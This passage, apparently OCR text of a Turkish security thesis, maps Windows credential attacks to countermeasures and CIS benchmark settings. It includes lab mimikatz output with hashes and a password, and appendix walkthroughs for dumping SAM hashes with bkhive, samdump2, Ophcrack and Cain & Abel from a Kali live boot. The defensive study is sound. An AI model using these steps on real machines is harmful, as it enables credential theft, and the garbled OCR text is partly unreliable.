IC:\>gquinsta

SESSTONNAME USERNAME 1D
EEFVICES a
>console nesut 1
rdp—tcp 65536

STATE
Disc
Active
Listen

Testl23

IC:~\>netstat —. i findstr ~L sem o
; 997 (APPROEEG:BABDR3CSY P T 192.168.2.101:445 sewverl:59829

C:x>tasklist ~v | findstr /L KEMALTEZ

RN

<null>

SEKIL 3.21: Windows Registry Editor ile Erigim Gergeklegtirilen Bilgisayarda Ram

Uzerindeki Veri Durumu

T

3.2.5.4 Yonetimsel Paylagsimlarla Dosya Sistemine Uzaktan Erigsim Saglan-

diktan Sonra Olusan Tehdit ve Alinacak Onlemler

Genellikle etki alanm kullanicilar kendi bulunduklar agda ki bilgisayarlarin yonetimsel

paylasimlarina erigebilmektedirler. Bu durum ‘Mimikatz’ benzeri bir arac ile istismar edil-

diginde sadece bilgisayarda oturum ag¢mig kullanicilarin hesap bilgileri RAM {izerinden



Boliim 3 Onlemler 74

elde edilebilmektedir. Ancak yonetimsel paylagimlara ulagan kullanicinin hesap bilgileri
alinamamaktadir. Bu baglantilarin yapilamamast icin alinacak etkin énlem ise dosya sis-
temlerinde paylagimlarin belirli IP’ler (Etki Alan1 Denetleyicileri veya Jupm Server) i¢in

acik olmasi tavsiye edilebilir. Saldir1 sonucu ekran giktisi ile birlikte agagida verilmigtir.

Etki alan1 kullanicisi olan kemaltez|cem.sari kullanicisi, Sehir-PC1 bilgisayarimin dosya

sitemine ulagabilmektedir. Yapilan iglem gekil 3.22 {izerinde goriildiigii gibidir.

= Run [=]

== Typethe name of 2 program, folder, document, or Internet
resource, and Windows will open it foryou,

Open: | W Sehir-PCTVADRMING v|

[ oK ” e H Ernw%?]

——
A ||4 b Network » Sehir-PCL » ADMINS »

Organize * Mew folder
r

- Favorites e

Bl Desktop J addins

& Downloads . AppCompat

=l Recent Places . AppPatch

. assembly

7 Libraries J Boot

3 Documents Branding

SEKIL 3.22: Ag Uzerinden Hedef Bilgisayarin Yonetimsel Paylagimma Erigim

Qaligmanin sonucuna bakildiginda etki alam kullanicisinin herhangi bir kimlik bilgisi
alinamamaktadir. Ancak Sehir-PC1 {izerindeki yerel kullanici olan mesut kullanicisinin
bilgileri alinabilmektedir. Sekil 3.23 iizerinde goriildiigii gibi herhangi bir proses baglatil-

mamigtir.
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Authentication Id : @ ; 128699 (PPAAGABA:BAA1F6hh) e
S i : Interactive from

: mesut Applications | Processes | Services | Performance | Networking | Users
: SEHIR-PCG1L
: 5-1-5-21-3687510117-722887369-328AA39823-180A1 =
sv I User D Status Client Name Session
[ARAARABAS 1 P11maly
Uaexname nesut 1‘m¥ut 1 Active I Console
: SEHIR-PCL
: 624aac413795cdc1aad3h435h51434ee
: 3bida22b1973cBbhB86d4a?hbataebs
: 96234he5hf1f31?e21?af314a93fc6?a51hd6h3h

I"SmEﬁlI“:FI—P(:i B Administrator; Command Prompt

: Test123
= Imesut

: |[SEHIR-PC1
: Test123

IC:n>gquinsta
SESSIONNAME USERNAME ID STATE
i B Disc

‘ mesut 1 Active
S mesw is
: IS BRI R-PCL 65536 Listen
: Test123 C:>netstat —ao | findstr /L server

G 192.168.2.1681:445 serverl 59829

Cori et
1 @ ; 997 (PADAEDEN:BPBBA3ES > ! findstr /L KEMALTEZ
: Bervice from

: LOCAL SERVICE

: NT AUTHORITY

P §-1-5-1%

IC:>gquinsta
SESSIONNHHE USERNAME

mesut

H o - 1 i st SeP o
: [enull> C:\>netstat —ao findstr /L server
: |<null>
: [<null>

C:tasklist ~v | findstr <L KEMALTEZ

R

: [<null>
: |<null>
: [<null>

SEKIL 3.23: Yonetimsel Paylagim Uzerinden Erigim Gerceklestirilen Bilgisayarda Ram
Uzerindeki Veri Durumu

3.3 Bize Ozgii Olan Bir Sey (Something You Are) Sagladig:

Onlemler

Burada biyometrik veriler devreye girmektedir. Bu biyometrik verileri giiclii algoritmalar
igeren gifreleme yontemleri kullamilmalidir. Veride bir degisiklik olup olmadigimi kontrol
etmek icin gelenksel 6zetleme yontemi (MD5,SHA1 vb) kullamilmalidir. Eger giiclii bir
algoritma kullanilmazsa veriler ele gecirildiginde birgok istismar yontemi vardir. Dolayisi
ile burada 6nemli olan nokta verilerin veri tabaninda ¢ok iyi korunmasi geregidir. Ayni

gekilde sistemin giivenli oldugundan emin olunmalidir.

Eger sistem kimlik dogrulamak igin siradan bir yontem kullaniyorsa yani istemci ile
sunucu arasindaki iletisimler de kimlik dogrulamay: yaparken veriler acik bir sekilde
kullaniliyor ve bunun sonucu ‘Bize Ozgii Olan Bir Sey’ ’in 6z niteligi ele gecirilirse ciddi

sikintilara sebep olacaktir.

Giivenli bir sistem, saglam bir veri tabani ve sablonlarda gii¢lii algoritmik gifreler kulla-
nildiginda saldirgan en kotii ihtimal 6zet degerini elde edecektir. Bu da 6z nitelik olma-
digindan ciddi problemler dogurmayacaktir. Ama bu durum sistemin ¢ok giivenli oldugu

anlamini tagitmamaktadir.
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3.4 Yapilan Saldirilara Karsi Aliabilecek Onlemler Tab-

losu

Saldirilara karst 6nlemlerin kesin sonuc¢ olmadigi bilinmektedir. Ornegin bir zafiyet ta-
ramast belli bir agig1 bulurken yeni bir acigr bulamayabilmektedir. Mevcut durumda
kullanic1 faktorii oldugundan bilincli ya da bilingsiz bagka zafiyetlere meydan vermek-
tedir. Hi¢bir zaman hicbir giivenlik 6nlemi kesin ¢oziim olarak algilanamaz. Ancak her

zaman alinacak giivenlik onlemleri bir ¢ok noktada giivenligi saglayacaktir.

Ozellikle énlemler kisminda Parola Politikasi, Giincelleme Politikasi, Disk sifreleme, Far-
kindalik Egitimleri, Hesap Y6netimi, Giivenlik Duvar1 Politikalar1 ve UAC gibi 6nlemler
alinarak konu kapsamindaki 3.1 tablosunda da belirtildigi gibi bir cok saldiridan koru-

nulabilir.

Tabloda yapilan saldiri tiirii, saldirida kullamilan arag ve bu saldiriya kars: alinabilecek
onlem Onerisinde bulunulmusgtur. ‘Saldir1’ stitununda Boéliim 2 iizerindeki konu baglikla-
rindan referans verilmistir. Tlgili saldirtya kars: alinabilecek ¢nlem ise ‘Almacak Onlem’
siitununda verilmig ve Boliim 3 {izerinde konu bagliklar ile iligkilendirilmigtir. Orta sii-
tun olan ‘Kullanilan Arag’ siitunu ise tehditler sonucu olusan acikliklara yonelik yapilan

saldirida kullanilan arag isimleri verilmigtir.
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TABLO 3.1: Saldirlara Karsi Alinabilecek Onlemler Tablosu

Saldir:

Kullanilan Arag

Alinacak Onlem

2.1Fiziksel Giivenligi
Atlatma (Disk siste-

mine erigim saglama)

samdump?2, bkhive ve Ophcrack

BIOS Ayarlarimin yapilmasi, Parola

Politikasi, Disk gifreleme

2.1Fiziksel Giivenligi
Atlatma  (Oturuma

erisim saglama)

Utilman.exe, Sethc.exe

BIOS Ayarlarinin yapilmasi, Parola
Politikasi, Disk sifreleme

2.7  Zafiyet Istis- | MSFconsole Modiilleri: | Giincelleme Politikasi, Parola Y&-
mar1 (igletim sistemi | MS03_ 026, MS04_ 007, | netimi, Kullanici Tarafli Program
zafiyetlerinden fayda- | MS08_ 067 kontrolii

lanma)

2.7 Zafiyet Istismar: | MSFconsole Modiilleri: Uygu- | Giincelleme Politikasi, Kullamlma-

(Uygulama zafiyetle-

rinden faydalanma)

lama modiilleri (Orn:Achat, Fre-
esshd)

yan servislerin kapatilmasi, Parola

Yonetimi

2.5Parola ve Parola
Ozetleri Kullani-
larak Bilgisayarda
Erigsim Elde Etme
(Konfigiirasyon

zafiyetlerinden fayda-

lanma)

MSF psexec, MSF psexec_psh,

Mimimatz

Kullamilmayan servislerin kapatil-
masi, Parola YoOnetimi, Yonetimsel

paylagimlar

2.5Parola ve Parola

Ozetleri Kullamlarak

Bilgisayarda Erigim
Elde Etme (Hak
Yiikseltme)

Psexec ve MSFconsole Modiil-
MS10_ 015, MS13_ 053,
MS14 068, MS15_051

leri:

UAC, Is-

Giincelleme Politikasi,

temci bazh 6nlemler.

2.1Fiziksel Giivenligi
Atlatma (Parola 6zet-
leri veya bu bilgileri
igeren dosyalar1 elde

etmek)

Cain & Abel, Metasploit

hashdump post modiilii,

smart _hashdump

Kullanic1 Tarafli Program kontrolii,
Yetki Kullanimi kisitlanmalar:, Eri-
sim Kontrolleri, Verilerin Sifreli Sak-
lanmasi, DLP, Tuzak Kullanici, Yet-

kili Kullanici ile gereksiz oturum
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8 | 2.5Parola ve Parola | Hydra, smb_login, Medusa Konfigiirasyonel 6nlemler
Ozetleri Kullani-
larak Bilgisayarda
Erisim Elde Etme
(Elde edilen kimlik
bilgileri ile oturum
agilabilecek Windows
bilgisayarlarin tespit

edilmesi)

9 | 2.3 RAM Uzerinde | Meterpreter steal token, mig- | Yetki Kullanimi kisitlanmalari, Eri-
Kayith Jetonlar: Elde | rate sim Kontrolleri, Yetkili Kullanica
Etme ile gereksiz oturum a¢gmama, DLP,

Akl kart kullanimi

10 | 2.4 RAM Uzerindeki | Mimikatz, WCE, Meterpreter | Yetki Kullanimi kisitlanmalari, Eri-
Kayith Parolalar1 | Mimikatz, Cevrimdist LSASS sim Kontrolleri, Verilerin Sifreli Sak-
Elde Etme lanmasi1, DLP, Tuzak Kullanici, Yet-
kili Kullanic1 ile gereksiz oturum,

Akl kart kullanimi

3.5 CIS (Center for Internet Security) ve Onlemler ile Eg-

lestirmelerin Gergeklestirilmesi

CIS diinya c¢apinda referans olarak kullanilan giivenlik kilavuzudur. Birgok tarama araci CIS giivenlik
klavuzlarimi referans alarak, giivenlik denetlemelerini yapmaktadir. Ornek olarak Nessus tarama araci

verilebilir.
CIS kilavuzlarim hitps://benchmarks.cisecurity.org/downloads/multiform/ adresinden indirilebilir.

Isletim sistemleri icin giivenlik politikalarmin énemini hem ‘Tehditler ve Saldir’ boliimiinde hem de ‘On-
lemler’ boliimiinde yer verildi. Bu dogrultuda giivenlik politikalarimi asil gekillendiren referans kaynaklar
mevcuttur. Bu kaynaklar uzmanlar tarafindan siirekli giincellenerek yayimlanmaktadir. Burada ise CIS
(Center of Internet Security) tarafindan hazirlanan giivenlik kilavuzlar1 baz alinarak 6zellikle Windows

7 ve 8 deki giivenlik politikalar ile tezde alinan 6nlemler eslestirilecektir.

CIS kontrol listesinde bulunmayip Boliim - 3’te alinan 6nlemler arasinda bulunan diger 6nlemler ise Ana
Konu Baghig1 olan 3.2 Bellekten Parola Elde Edilmesini Onleme Yontemleri ve alt bagliklar1 olan;

Konu - 3.2.1 Oturum Sonlandirilirken Ortaya Cikan Tehditler ve Alinacak Onlemler,
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Konu - 3.2.2 Giivenli Parola Kullanimi ve Sikilagtirma Onlemleri, Konu - 3.2.3 Kullaml-
mayan Kiitiiphanelerin (DLL) Kaldirilmas: ile Saglanan Onlemler, Konu - 3.2.4 Istemci
Tarafli Koruma Sistemlerinin Sagladigi Onlemler ve Konu - 3.2.5 Uzaktan Erigim Yon-

temleri ile Olugan Tehditlere Karst Alinmasi Gereken Onlemlerdir.

‘CIS Windows 7’ stitununda Windows 7 igletim sistemi i¢in kimlik dogrulamada kul-
lanilmasi 6nerilen politikalar mevcuttur. ‘CIS Windows 8’ siitununda ise Windows 8
igletim sistemi i¢in kimlik dogrulamada kullanilmasi 6nerilen politikalar bulunmaktadir.
‘Windows Varsayilan Degeri(Win. Vars. Deg.)’ siitunu Windows igletim sisteminin ilk
kurulumunda gelen varsayilan degeri bulunmaktadir. Son siitun olan ‘Yapilan Islem’ sii-
tunu ise Boliim 3 iizerinde anlatilan 6nlemler mevcuttur. Ayni satirda olan politikalara
es gelen onlemler eklenmig ve Boliim 3 ile iligkilendirilmistir. Dolayisiyla tablonun ayni
satirinda olan bilgiler birbirine eg deger bilgilerdir.

Not1: 3.2 Tablosunda kullanilan Windows 7 ve 8 CIS giivenlik kilavuzuna ait bilgiler

[19] ve [20] nolu referanslardan alinmigtir.
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TABLO 3.2: CIS ve Onlemler Eglegtirme Tablosu
CIS Windows 7 CIS Windows 8 Win. Vars. | Yapilan Iglem
Deg.
1.1.1.1 BitLocker Drive | 1.2.4.2 BitLocker Ayarlanmamig 3.1.1 BIOS Ayar-
Encryption lar1(Fiziksel onlemler)
1.1.1.2.1 Set ‘Turn off | 1.2.4.1.1 Set ‘Turn off | Ayarlanmamig 3.1.9 Diger Giivenlik On-
Autoplay’ to ‘Enab- | Autoplay on’ to ‘Enab- lemleri
led:All drives’ (Scored) led:All drives’ (Scored)
1.1.1.6 Windows Update | 1.2.4.7 Windows Update | Opsiyonel 3.1.3 Giincellegtirmelerin
Yapilmasi
1.2.1.1.1.2 Set ‘User Ac- | 1.1.3.17.2 Set ‘User Acco- | Etkin 3.1.8 UAC Ayarlar:
count Control: Detect | unt Control: Detect app-
application installations | lication installations and
and prompt for elevation’ | prompt for elevation’ to
to ‘Enabled’ ‘Enabled’ (Scored)
1.2.1.1.1.23 Set ‘User | 1.1.3.17.1 Set ‘User Acco- | Devre dis1 3.1.8 UAC Ayarlar:
Account Control: Admin | unt Control: Admin App-
Approval Mode for the | roval Mode for the Built-
Built-in ~ Administrator | in Administrator acco-
account’ to ‘Enabled’ unt’ to ‘Enabled’
1.2.1.1.1.48 Set ‘User Ac- | 1.1.3.17.8 Set ‘User Ac- | Devre dis1 3.1.8 UAC Ayarlar:
count Control: Allow UI- | count Control: Allow UI-
Access applications to | Access applications to
prompt for elevation wit- | prompt for elevation wit-
hout wusing the secure | hout using the secure
desktop’ to ‘Disabled’ desktop’ to ‘Disabled’
1.2.1.1.1.50 Set ‘User Ac- | 1.1.3.17.7 Set ‘User Ac- | Etkin 3.1.8 UAC Ayarlar:

count Control: Switch to
the secure desktop when
prompting for elevation’

to ‘Enabled’

count Control: Switch to
the secure desktop when
prompting for elevation’

to ‘Enabled’

1.2.1.1.1.52 Set ‘User Ac-
count Control: Behavior
of the elevation prompt
for standard wusers’ to
‘Automatically deny ele-

vation requests’

1.1.3.17.3 Set ‘User Acco-
unt Control: Behavior of
the elevation prompt for
standard users’ to ‘Auto-
matically deny elevation

requests’

Kimlik sorma

3.1.8 UAC Ayarlar:
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1.2.1.1.1.74 Set ‘User Ac- | 1.1.3.17.6 Set ‘User Ac- | Etkin 3.1.8 UAC Ayarlar:
count Control: Virtualize | count Control: Virtualize

file and registry write fa- | file and registry write fa-

ilures to per-user locati- | ilures to per-user locati-

ons’ to ‘Enabled’ ons’ to ‘Enabled’

1.2.1.1.1.79 Set ‘User Ac- | 1.1.3.17.5 Set ‘User Ac- | Etkin 3.1.8 UAC Ayarlar:
count Control: Only ele- | count Control: Only ele-

vate UIAccess applica- | vate UIAccess applica-

tions that are installed | tions that are installed

in secure locations’ to | in secure locations’ to

‘Enabled’ ‘Enabled’

1.2.1.1.1.80 Set ‘User | 1.1.3.17.10 Set ‘User | Etkin 3.1.8 UAC ayarlan
Account Control: Run | Account Control: Run

all administrators in | all administrators in

Admin Approval Mode’ | Admin Approval Mode’

to ‘Enabled’ to ‘Enabled’

1.2.1.1.1.89 Set ‘User Ac- 3.1.8 UAC Ayarlar:
count Control: Behavior

of the elevation prompt

for administrators in Ad-

min Approval Mode’ to

‘Prompt for credentials’

1.2.1.1.1.7 Set ‘Microsoft | 1.1.3.7.3 Set ‘Microsoft | Etkin 3.1.9 Diger Giivenlik On-

network client: Digitally
sign communications (if
server agrees)’ to ‘Enab-

led’

network client: Digitally
sign communications (if
server agrees)’ to ‘Enab-

led’

lemleri

1.2.1.1.1.11 Set ‘Network

1.1.3.11.7 Set ‘Network

128 bit sifreleme

3.1.5 Kritik Hesaplarin

security: Minimum ses- | security: Minimum ses- | gerekir Kullanimi (Ag Uzerinden
sion security for NTLM | sion security for NTLM NTLMv2 Kullanimu)
SSP  based (including | SSP based (including

secure RPC) clients’ | secure RPC) clients’

to ‘Require NTLMv2 | to ‘Require NTLMv2

session security,Require | session security,Require

128-bit encryption’ 128-bit encryption’

1.2.1.1.1.12 Set ‘Acco- | 1.1.3.1.6 Set ‘Accounts: | Etkin 3.1.5 Kritik He-
unts: Limit local account | Limit local account use of saplarin Kulla-
use of blank passwords | blank passwords to con- nimi(Kullanilmayan

to console logon only’ to | sole logon only’ to ‘Enab- Hesaplarin Kapatilmasi)
‘Enabled’ led’

1.2.1.1.1.20 Set ‘Network | 1.1.3.10.1 Set ‘Network | Devre dis1

access: Let Everyone per-
missions apply to anony-

mous users’ to ‘Disabled’

access: Let Everyone per-
missions apply to anony-

mous users’ to ‘Disabled’
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1.2.1.1.1.28 Set ‘Acco- | 1.1.3.1.5 Set ‘Accounts: | Devre dig1 3.1.5 Kritik Hesaplarin

unts: Guest account sta- | Guest account status’ to Kullanimi  (Kullanilma-

tus’ to ‘Disabled’ ‘Disabled’ yan Hesaplarin Kapatil-
mast)

1.2.1.1.1.29 Set ‘Micro- | 1.1.3.8.5 Set ‘Microsoft | Devre dis1 3.1.9 Diger Giivenlik On-

soft network server: Di- | network server: Digitally lemleri

gitally sign communicati- | sign communications (al-

ons (always)’ to ‘Enab- | ways)’ to ‘Enabled’

led’

1.2.1.1.1.24 Set ‘Micro- | 1.1.3.8.3 Set ‘Microsoft | Devre dig1 3.1.9 Diger Giivenlik On-

soft network server: Di- | network server: Digitally lemleri

gitally sign communicati- | sign communications (if

ons (if client agrees)’ to | client agrees)’ to ‘Emnab-

‘Enabled’ led’

1.2.1.1.1.30 Set ‘Micro- | 1.1.3.7.2 Set ‘Microsoft | Devre dig 3.1.9 Diger Giivenlik On-

soft network client: Di- | network client: Digitally lemleri

gitally sign communicati- | sign communications (al-

ons (always)’ to ‘Enab- | ways)’ to ‘Enabled’

led’

1.2.1.1.1.31 Configure | 1.1.3.11.8 Configure ‘Ne- | Tanimlanmamig | 3.1.5 Kritik Hesaplarin

‘Network Security: Rest- | twork Security: Restrict Kullamimi(Ag Uzerinden

rict  NTLM: Outgoing | NTLM: Outgoing NTLM NTLMv2 Kullanimi)

NTLM traffic to remote | traffic to remote servers’

servers’

1.2.1.1.1.32 Set ‘Network | 1.1.3.10.5 Set ‘Network | Etkin 3.1.2 Ag Ayarlarinin Ya-

access: Restrict anony- | access: Restrict anony- pilandirilmas: (Paylagim-

mous access to Named

mous access to Named

larin denetlenmesi )

Pipes and Shares’ to | Pipes and Shares’ to
‘Enabled’ ‘Enabled’
1.2.1.1.1.34 Configure | 1.1.3.11.15 Set ‘Net- | Not Tammlan- | 3.1.5 Kritik Hesaplarin
‘Network Security: Con- | work Security: Configure | mamig Kullanimi (Kerberos kul-
figure encryption types | encryption types allo- lanimi)
allowed for Kerberos’ wed for Kerberos’ to
‘RC4\ AES128\ AES256\
Future types’
1.2.1.1.1.37 Set ‘User Ac- | 1.1.3.17.9 Set ‘User Acco- | Devre dig1 3.1.8 UAC Ayarlar:
count Control: Only ele- | unt Control: Only elevate
vate executables that are | executables that are sig-
signed and validated’ to | ned and validated’ to ‘Di-
‘Disabled’ sabled’
1.2.1.1.1.38 Configure | 1.1.3.11.14 Configure | Tanimlanmamig | 3.1.5 Kritik Hesaplarin

‘Network Security: Rest-

rictc  NTLM: Incoming

NTLM traffic’

‘Network Security: Rest-

ricc  NTLM: Incoming

NTLM traffic’

Kullammi(Ag Uzerinde
NTLMv2 Kullanimi)
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1.2.1.1.1.42 Set ‘Network | 1.1.3.10.9 Set ‘Network | Etkin 3.1.5 Kritik Hesaplarin
access: Do mnot allow | access: Do mnot allow Kullamim (Yetkili kulla-
anonymous enumeration | anonymous enumeration nict denetimi)
of SAM accounts’ to | of SAM accounts’ to
‘Enabled’ ‘Enabled’
1.2.1.1.1.47 Set ‘Network | 1.1.3.11.1 Set ‘Network | Etkin 3.1.5 Kritik Hesaplarin
security: Do not store | security: Do not store Kullanimi(LM Devre
LAN Manager hash value | LAN Manager hash value Dig1 Birakilmast)
on next password change’ | on next password change’
to ‘Enabled’ to ‘Enabled’
1.2.1.1.1.61 Set ‘Network | 1.1.3.11.11 Set ‘Network | Sadece 3.1.5 Kritik Hesaplarin
security: LAN Manager | security: LAN Manager | NTLMv2'ye Kullanmimi(Ag Uzerinden
authentication level’ to | authentication level’ to | Cevap NTLMv2 Kullanimi)
‘Send NTLMv2 response | ‘Send NTLMv2 response
only. Refuse LM & | only. Refuse LM &
NTLM’ NTLM’
1.2.1.1.1.62 Set ‘Network | 1.1.3.10.3 Set ‘Network | Devre dig 3.1.5 Kritik Hesaplarin
access: Do mnot allow | access: Do mnot allow Kullammmi (Gereksiz He-
anonymous enumeration | anonymous enumeration saplarin Devre Dig1 Bira-
of SAM accounts and | of SAM accounts and kilmasi, Yetkili Kullanici
shares’ to ‘Enabled’ shares’ to ‘Enabled’ Denetimi)
1.2.1.1.1.67 Configure | 1.1.3.6.3 Configure ‘In- | Devre dist 1.1.5 Akill kart kullanma
‘Interactive logon: Requ- | teractive logon: Require
ire smart card’ smart card’
1.2.1.1.1.69 Set ‘Interac- | 1.1.3.6.5 Set ‘Interactive | 10 Oturum | 3.1.5 Kritik Hesaplarin
tive logon: Number of | logon: Number of previ- | agma Kullanimi
previous logons to cache | ous logons to cache (in
(in case domain control- | case domain controller is
ler is not available)’ to ‘2’ | not available)’ to ‘4 or fe-

wer logon(s)’
1.211.1.71 Configure | 1.1.3.11.5 ‘Network Se- | Tamimlanmamig | 3.1.5 Kritik Hesaplarin

‘Network Security: Rest-
ricc  NTLM: NTLM
authentication in this

domain’

curity: Restrict NTLM:
NTLM authentication in

this domain’

Kullammi (Ag Uzerinde
NTLMv2 Kullanimi)

1.2.1.1.1.72 Set ‘Network
security: Minimum ses-

sion security for NTLM

SSP  based (including
secure RPC)  servers’
to ‘Require NTLMv2

session security,Require

128-bit encryption’

1.1.3.11.2 Set ‘Network
security: Minimum ses-

sion security for NTLM

SSP  based (including
secure RPC)  servers’
to ‘Require NTLMv2

session security,Require

128-bit encryption’

128 bit sifreleme

gerekir




Boliim 3 Onlemler

84

1.2.1.1.1.84 Configure | 1.1.3.16.2 Configure ‘Sys- | Devre dist 3.1.5 Kritik Hesaplarin

‘System  settings: Use | tem settings: Use Certi- Kullanim

Certificate Rules on | ficate Rules on Windows

Windows  Executables | Executables for Software

for Software Restriction | Restriction Policies’

Policies’

1.2.1.1.1.88 Set ‘Network | 1.1.3.10.8 Set ‘Network | Tamimlanmamig

access: Shares that can | access: Shares that can

be accessed anonymo- | be accessed anonymo-

usly’ to usly’ to ‘Not Defined’

1.2.1.1.1.92 Configure | 1.1.3.10.11 Configure | Devre dis1 3.1.5 Kritik Hesaplarin

‘Network access: Do not | ‘Network access: Do not Kullanimi (Parola Politi-

allow storage of pass- | allow storage of pass- kasi)

words and credentials for | words and credentials for

network authentication’ network authentication’

1.2.1.1.2 User Rights As- | 1.1.4 User Rights Assign- | Administrators, | 3.1.9 Diger Giivenlik On-

signment ment Remote Desk- | lemleri (Yetkilendirme)

top Users

1.2.1.2.1 Audit Policies 1.1.2 Advanced Audit | Denetimsiz J.2.2.5 Kayit tutma
Policy Configuration

1.1.1.3 Event Log Service | 1.2.4.4 Event Log 20480 KB J.2.2.5 Kayit Tutma

1.2.1.3 Windows Firewall | 1.1.5 Windows Firewall | Evet 3.1.7 Windows Firewall

with Advanced Security With Advanced Security with Advanced Security

1.2.1.4 Account Policies Tanimlanmamig | 3.1.5 Kritik Hesaplarin

Kullanim




Ek A

Fiziksel Guvenligi Atlatma

A.1 Tak Qahstir(Live CD)/USB Bellek ile A¢ma

Bilgisayar BIOS ayarlarindan CD-ROM’u boot edecek sekilde ayarlar: yapilir. BIOS tan
CD-ROM baglatilacak ayar gekil A.1 {izerinde gosterilmigtir.

CD-ROM Drive

Setup Confirmation

Save configuration changes and exit now?

Y esi] [Nol

SEKIL A.1: BIOS Boot Ayarlarindan CD-ROM Ayarlanmasi

Sonra CD-ROM’dan Live olarak igletim sistemi gekil A.2 {izerinde goriildiigii gibi calig-

tirilir.

85
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“the quieter you become, the more you are able to hear”

Boot menu

Live (686-pae)

Live lbbb-—pae tallsafe)

Live (foremnsic mode)

Live USB Persistence (check kali.org/prst)
Live USB Encrypted Persistence (check kali.org/prst)
Install

Graphical install

Install with speech synthesis

Advanced options

SEKIL A.2: Isletim Sisteminin Live Secilmesi

Acihinca hedef igletim sisteminin hardiski gekil A.3 iizerinde goriildiigi gibi segilir.

e EREN--C -

SEKIL A.3: Isletim Sistemi Sabit Diskinin Secilmesi

Bu islem sonunda Windows isletim sisteminin sistem dosyalarina ulagildi. Istenen dosyay:

kullanmak i¢in gekil A .4 tizerinde goriildiigii gibi tiklanarak devam edilir.
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E]Applications Menu |7 FBB8401608401232C - Fil... HI--- 23:.01 :‘ root

F88401608401232C - File Manager 4+ - 0O X

File Edit Wiew Go Help

“ = 4 @& [B/mediajroot/Fesa01608401232¢/ ')

Warning, you are using the root account, you may harm your system.

DEVICES

R R R
PEYSEEE N
27 GB Volume i Documents and PerfLogs ProgramData
: Settings
B Floppy Disk
PLACES
& roct )
Program Files Recovery $Recycle.Bin  System Volume
. Desktop Information
ﬁ Trash R P _= _=
NETWORK - - = =
= Browse Network Users Windows autoexec bat config.sys
1 1
It It
m m
o o
hiberfil.sys pagefile.sys

14 items (1.9 GB), Free space: 17.9 GB

SEKIL A.4: Isletim Sisteminin Windows Dosya Sistemi

A.2 Samdump2 ve Bkhive Aracglari ile Yerel Kullanici Pa-
rola Ozetlerini Elde Etme

EK A.1 iizerinde anlatilan; ‘Samdump?2’ ve ‘bkhive’ araclari ile uygulanan yénteme ben-
zer bir yontem kullanilacaktir.

Bilgisayar BIOS boot ayarlar1 CD-ROM f{izerinden ¢aligmasi i¢in gekil A.1 {izerinde go-
riildiigii gibi ayar1 yapilir.

Sonra Kali Live igletim sistemi ile gekil A.2 iizerinde goriildiigii gibi acilmasi saglanir.
‘SAM’ ve ‘SYSTEM’ dosyalar1 ‘ Windows/system32/config dizinin altindadir. Sekil A.5

iizerinde goriildiigii gibi kopyalanip belirli bir dizine alinir.
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File Edit View Go
Devices
—IFloppy Drive
| System Rese...
| 27 GB Fi...
Computer
Ed Home
| Desktop
|# File System
@} Trash
Network

@ Browse Net...

~

Bookmarks

config

Help

Windows  System32
il

DEFAULT.LOGL

SAM.LOG

SECURITY

SECURITY.LOG2

SOFTWARE.LOG1

DEFAULT.LOGZ2

SAM.LOG1

SECURITY.LOG

SOFTWARE

SOFTWARE.LOG2

‘ﬁl Q search

SAM.LOG2

SECURITY.LOG1

SOFTWARE.LOG

SEKIL A.5: Sam ve System Dosylarinin Kopyalanmasi

Kali igletim sisteminin komut satirinda iken ‘bkhive SYSTEM SAM Anahtari’ komutu
verilerek ‘SYSTEM’ dosyasindan ‘SYSKEY’ gekil A.6 {izerinde goriildiigii gibi elde edilir.

SEKIL A.6: SYSTEM SAM Anahtarinin Elde Edilmesi

Sonra ‘SAM’ dosyas: ‘samdump?2’ araci ile ‘samdump2 SAM SAM Anahtari ’ komutu

ile calhigtirihir. Sekil A.7 tizerinde goriildiigii gibi yerel kullanicilarin parola ézetleri elde

edilir.

SEKIL A.7: Hesaplara Ait Parola Ozetlerinin Elde Edilmesi
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A.3 Ophcrack Araci ile Yerel Kullanici Parola Ozetlerini
Elde Etme

Konu 2.1.2.1 {izerinde anlatilan, ‘Samdump?2’ ve ‘bkhive’ araclar ile uygulanan yonteme
benzer bir yontem kullanilacaktir.

Once bilgisayar BIOS boot ayarlar1 yapilarak CD-ROM iizerinden igletim sistemi gekil
A1 {izerinde goriildiigi gibi agilir.

Tak ¢aligtir (Live cd) ile sekil A.2 iizerinde goriildiigii gibi acilir.

‘SAM’ ve ‘SYSTEM’ dosyalar1 ‘Windows/system32/con fig" dizinin altindadir. Sekil A.5

iizerinde goriildiigii gibi kopyalanip belirli bir dizine alinir.

Sonra ‘SAM’ ve ‘SYSTEM’ dosyalar1 ‘Ophcrack’ ile iglenecektir. Kali igletim sisteminin
komut satirinda iken ‘ophcrack’ yazilarak Enter’a basihir. Islem sonucunda goriildiigii
iizere aracin arayiizii acilmigtir. Sekil A.8 {izerinde goriildiigii gibi ophcrack arayiizii-
niin Load > Encrypted ‘SAM’ secilerek bulundugu dizinden ‘SAM/SYSTEM’ dosyalar

‘Ophcrack’a yiiklenilir.

Places MName | Size Modified Ml

@} Search
&) Recently Used

= root

| File System
| 27 GB Filesy...

| System Reser...
= Floppy Drive

| Cancel ‘[ Open

SEKIL A.8: Dosyalarin Bulundugu Klasérden Ophcrack’a Yiiklenmesi

Sonug olarak gekil A.9 iizerinde goriildiigii gibi kullanic1 parola 6zetleri elde edilir.
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ophcrack Hl!i“

- -

2.0 & v » 0 @ c
Load Delete  Save Tables Crack Help Exit About
Progress | Statistics [ Preferences I

User ™~ LM Hash NT Hash LM Pwd 1 LM Pwd 2 M

*disabled* ... 31d6cfe0d16ae931b73c59d7e0c089c0 empt
*disabled* ... 31d6cfe0d16ae931b73c59d7e0c089c0 empt|
*disabled* ... 47bf803938506cd67c524a03ff84bade

e735dbd188563c0429f3275eb6205551
03119312e491c990a3143a5a5b4f89da
3b1lda22b1973c0bb86d4a9b6a9ae65f6

Table Directory Status Progress

Preload: Brute force: Pwd found: Time elapsed: Oh Om Os

SEKIL A.9: Opcrack ile Hesap Ozetlerinin Elde Edilmesi

A.4 Cain & Abel Araciile SAM ve SYSTEM Dosyalarindan

Yerel Kullanicilarin Parola Ozetlerinin Elde Edilmesi

EK A.2 konusunda anlatildig: {izere ‘SAM’ ve ‘SYSTEM’ dosyalar: elde edildikten sonra

‘Cain & Abel’ arac ile agagidaki gibi hash degerleri elde edilebilir.

‘Cain & Abel’ aracim ¢aligtirdiktan sonra {istten 3. ara¢ ¢ubugunda bulunan Cracker
sekmesine tiklanilir. Sonra sol dikey panelin en bagindaki Cracker’a tiklayip ve en sagdaki

bog alana tiklanilir. Yapilan iglem gekil A.10 iizerinde gosterilmigtir.

=, ...

File View Configure Tools Help
